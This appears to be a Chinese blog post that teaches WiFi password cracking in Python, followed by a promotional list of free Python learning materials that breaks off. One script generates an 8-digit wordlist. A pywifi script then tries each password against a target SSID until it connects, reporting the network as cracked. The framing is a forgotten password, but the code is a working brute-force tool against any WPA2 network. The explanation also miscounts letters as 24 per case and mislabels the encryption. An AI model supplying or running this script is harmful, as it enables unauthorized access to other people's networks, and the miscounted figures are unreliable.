原理上WiFi密码都是可以破解的,只不过是时间问题,26*2字母(大小写)+10数字+特殊的字符,就形成很多个密码组合了,加上密码本身的个数。你也可以使用多开,多线程的方式去加速破解的速度。
我们知道,小写字母有24个,大写字母也有24个,数字有10个。
所以,一共有 24 + 24 + 10 = 58 个可选的字符。
现在,我们要生成一个8位的密码,每一位都可以是这58个字符中的任何一个。
所以,第一位有58种选择,第二位也有58种选择,以此类推,直到第8位。
总的组合数是 58 × 58 × 58 × 58 × 58 × 58 × 58 × 58。
这其实就是58的8次方。
计算结果为:128063081718016
wifi的密码长度是8-16位,如果你不幸忘记了某个wifi的密码,但是你大概知道密码的一些构成,也可以参考下面的脚本,来把密码找出来。密码三步走如下。
1.导入模块
pip install pywifi
2.生成可能的密码组合=8,就是8为数的密码组合
import itertools as its
import datetime
#生成密码+写入密码+记录花费的时间
def generate_passwords(number):
# 记录程序运行时间
start = datetime.datetime.now()
#words = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' # 大小写字母 + 数字 组合
words = '0123456789' # 纯数字
# 生成密码的位数
passwords = its.product(words, repeat=number) #正常情况下热点密码位数为8
f = open("password.txt", 'a')
for password in passwords:
f.write(''.join(password))
f.write(''.join('\n'))
print(password)
f.close()
print('可能的密码组合,生成好了')
end = datetime.datetime.now()
print("总共用时:{}".format(end - start))
generate_passwords(8)
** 3.效验密码的正确性 **
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime
# 测试连接,返回链接结果
def wifi_connect(wifi_name,password):
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# 创建WiFi连接文件
profile = pywifi.Profile()
# 要连接WiFi的名称
profile.ssid = wifi_name
# 网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 调用密码
profile.key = password
# 删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi连接时间
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
# 读取密码本
def find_correct_password(wiff_name):
print("开始破解:")
# 打开密码本文件
file = open('password.txt', "r")
while True:
try:
#死循环读取密码和效验密码的正确
break_code = file.readline()
bool = wifi_connect(wiff_name,break_code)
if bool:
print("密码已破解:", break_code)
print("WiFi已自动连接!!!")
break
else:
# 跳出当前循环,进行下一次循环
print("正在核对,这个密码是否正确...: ", break_code)
except:
continue
if __name__ == '__main__':
start = datetime.datetime.now()
#要破解的wiff名称
find_correct_password("Tenda_xxxxxx")
end = datetime.datetime.now()
print("本次破解WIFI密码,时长为:{}".format(end - start))
感兴趣的小伙伴,赠送全套Python学习资料,包含面试题、简历资料等具体看下方。
一、Python所有方向的学习路线
Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照下面的知识点去找对应的学习资源,保证自己学得较为全面。
二、Python必备开发工具
工具都帮大家整理好了,安装就可直接上手!
三、最新Python学习笔记
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、Python视频合集
观看全面零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
五、实战案例
纸上得来终觉浅,要学会跟着视频一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
六、面试宝典
简历模板
